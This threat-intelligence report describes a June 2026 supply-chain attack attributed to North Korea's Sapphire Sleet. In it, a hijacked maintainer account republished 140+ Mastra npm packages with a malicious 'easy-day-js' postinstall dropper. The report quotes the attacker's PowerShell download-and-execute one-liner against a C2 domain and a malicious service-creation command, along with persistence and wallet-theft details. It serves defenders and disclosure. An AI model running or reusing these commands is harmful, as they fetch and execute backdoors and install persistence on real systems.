# Sapphire Sleet (DPRK) 'easy-day-js' Supply-Chain Compromise of 140+ Mastra npm Packages via Hijacked Maintainer Account

> North Korean state actor Sapphire Sleet hijacked the dormant 'ehindero' maintainer account and, in an 88-minute automated campaign on 2026-06-17, republished 140+ packages across the @mastra AI-framework scope with a malicious 'easy-day-js' dependency. A postinstall dropper (setup.cjs) auto-executes on install, retrieving a cross-platform Node.js tasking client plus a PowerShell backdoor that steals cryptocurrency wallets and establishes registry/service/LaunchAgent/systemd persistence.

- **Published:** 2026-06-22T00:00:00Z
- **Last reviewed:** 2026-06-22T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0898
- **ID:** TL-2026-0898
- **Severity:** CRITICAL
- **Category:** SUPPLY_CHAIN
- **Status:** ACTIVE
- **Actor:** APT38 (North Korea)
- **Detections:** 9 · **IOCs:** 29 (full data via the Threadlinqs MCP server — Purple tier)

## Description

On 2026-06-17 Microsoft Threat Intelligence detected a software supply-chain compromise of the Mastra npm ecosystem (an open-source JavaScript/TypeScript framework for building AI applications, whose @mastra/core package alone has ~918K weekly downloads). The North Korean state actor Sapphire Sleet (also tracked as UNC1069, STARDUST CHOLLIMA, Alluring Pisces, BlueNoroff, CageyChameleon, CryptoCore) gained control of the 'ehindero' npm account — a former/dormant Mastra contributor whose publish rights across the entire @mastra scope had never been revoked. The maintainer was compromised after a spoofed LinkedIn account contacted him (and maintainers of other prominent TypeScript projects), got him on a call, and induced him to click a malicious link.

The actor first published a clean decoy library 'easy-day-js@1.11.21' (a clone of the popular dayjs date library, ~57M weekly downloads) at 2026-06-16 07:05 UTC, then weaponized it as 1.11.22 at 2026-06-17 01:01 UTC by adding an obfuscated setup.cjs postinstall dropper. Within an 88-minute window beginning ~01:20 UTC the actor used the hijacked ehindero account to republish 140+ packages across the @mastra scope (including mastra@1.13.1 and later), each injected with 'easy-day-js@^1.11.21' as a new dependency that SemVer-resolved to the weaponized 1.11.22. The typosquat itself was published by a separate account 'sergey2016' (sergey2016@tutamail.com). The poisoned packages contained no malicious code themselves — the payload arrived entirely through the transitive easy-day-js dependency, executing at install time regardless of whether the package was ever imported.

The 4,572-byte setup.cjs dropper is obfuscated with an array of 40 Base64-encoded strings shuffled at init with seed 0x4c11d and decoded with character substitution. It sets NODE_TLS_REJECT_UNAUTHORIZED='0' to disable TLS certificate validation, drops tracking markers ($TMPDIR/.pkg_history with the install path, and $TMPDIR/.pkg_logs containing the XOR-0x80-encoded string 'easy-day-js'), then GETs hxxps://23.254.164[.]92:8000/update/49890878 and writes the ~41KB response as a random-hex .js file in the home directory. That second stage is a cross-platform Node.js tasking client that installs sign-in persistence, sends a 'Start' beacon, and enters a repeated 'Check' poll loop (10-second polling, 180-second backoff on failure) over a custom ICAP-style protocol (HTTPS POST with reqmod / PrimaryUrl / SecondaryUrl headers and a spoofed legacy IE8 User-Agent).

The implant fingerprints the host (hostname, architecture, platform, user ID, installed applications via Get-StartApps + registry Uninstall keys + Get-AppxPackage, running processes), harvests browser History SQLite databases (copied to temp dirs prefixed 'browser-hist_'), and steals cryptocurrency assets using a hardcoded list of 166 wallet browser-extension IDs (MetaMask, Phantom, Coinbase Wallet, Binance Wallet, TronLink, and others). Persistence is established per-OS: Windows via an HKCU Run key (value NvmProtocal) launching hidden PowerShell that runs protocal.cjs from C:\ProgramData\NodePackages\; macOS via a RunAtLoad LaunchAgent ~/Library/NodePackages/com.nvm.protocal.plist; Linux via a systemd user unit ~/.config/systemd/nvmconf/nvmconf.service with a 5-second restart delay.

For high-value hosts, the Node.js implant's shell runner fetches a separate PowerShell backdoor from teams.onweblive[.]org via `powershell -w h -c "iwr -UseBasicParsing https://teams.onweblive[.]org/api/update/8555575039/4|iex"`. This backdoor clears PSReadLine history (anti-forensics), sends an 'info' beacon (targetId, username, hostname, timezone, bootTime, OS, version, arch, applist, extlist, admin, vaccine) to maskasd[.]com, writes a hidden loader C:\ProgramData\system.bat registered under HKCU Run value 'MicrosoftUpdate' (re-fetches the backdoor body on each logon by POSTing the keyword 'wwps'), receives a .NET DLL loaded directly into memory via reflection (resolving Extension.SubRoutine.Run2 with cmd.exe and a C2 callback), adds a Microsoft Defender exclusion for C:\Windows\System32, and installs a malicious service: `sc create scdev binPath= "c:\windows\system32\svchost.exe -k scdev"` loading scdev.dll at boot. Mastra published via npm's trusted-publisher flow with SLSA provenance but did not require attestations, so a standard npm token still published the malicious versions. The operation mirrors Sapphire Sleet's April 2026 Axios npm compromise (maintainer social-engineering, decoy-then-weaponized typosquat dependency, install-time postinstall dropper with self-deletion).

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1586 Compromise Accounts
- T1608.001 Upload Malware
- T1195.001 Compromise Software Dependencies and Development Tools
- T1566.003 Spearphishing via Service
- T1078 Valid Accounts
- T1059.007 JavaScript
- T1059.001 PowerShell
- T1059.003 Windows Command Shell
- T1547.001 Registry Run Keys / Startup Folder
- T1543.001 Launch Agent
- T1543.002 Systemd Service
- T1543.003 Windows Service
- T1140 Deobfuscate/Decode Files or Information
- T1027 Obfuscated Files or Information
- T1036.005 Match Legitimate Resource Name or Location
- T1564.001 Hidden Files and Directories
- T1685 Disable or Modify Tools
- T1112 Modify Registry
- T1620 Reflective Code Loading
- T1070.003 Clear Command History
- T1070.004 File Deletion
- T1555.003 Credentials from Web Browsers
- T1518 Software Discovery
- T1082 System Information Discovery
- T1033 System Owner/User Discovery
- T1057 Process Discovery
- T1012 Query Registry
- T1217 Browser Information Discovery
- T1005 Data from Local System
- T1071.001 Web Protocols
- T1571 Non-Standard Port
- T1105 Ingress Tool Transfer
- T1041 Exfiltration Over C2 Channel
- T1657 Financial Theft

## Sources

- [From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet](https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/)
- [145 Mastra npm Packages Compromised via Hijacked Contributor Account](https://thehackernews.com/2026/06/144-mastra-npm-packages-compromised-via.html)
- [North Korean Hackers Abuse Mastra npm Supply Chain to Target Developers and CI/CD Pipelines](https://cybersecuritynews.com/north-korean-hackers-abuse-mastra-npm-supply-chain/)
- [A forgotten contributor account compromised the entire Mastra npm package scope](https://snyk.io/blog/a-forgotten-contributor-account-compromised-the-entire-mastra-npm-package-scope/)
- [Microsoft links Mastra AI supply chain attack to North Korean hackers](https://www.bleepingcomputer.com/news/security/microsoft-links-mastra-ai-supply-chain-attack-to-north-korean-hackers/)
- [npm Supply Chain Attack: North Korea Backdoored 144 AI Packages in 88 Minutes](https://www.techtimes.com/articles/318767/20260621/npm-supply-chain-attack-north-korea-backdoored-144-ai-packages-88-minutes.htm)
- [Microsoft Links Mastra AI npm Supply Chain Attack to North Korean Sapphire Sleet Hackers](https://windowsreport.com/microsoft-links-mastra-ai-npm-supply-chain-attack-to-north-korean-sapphire-sleet-hackers/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0898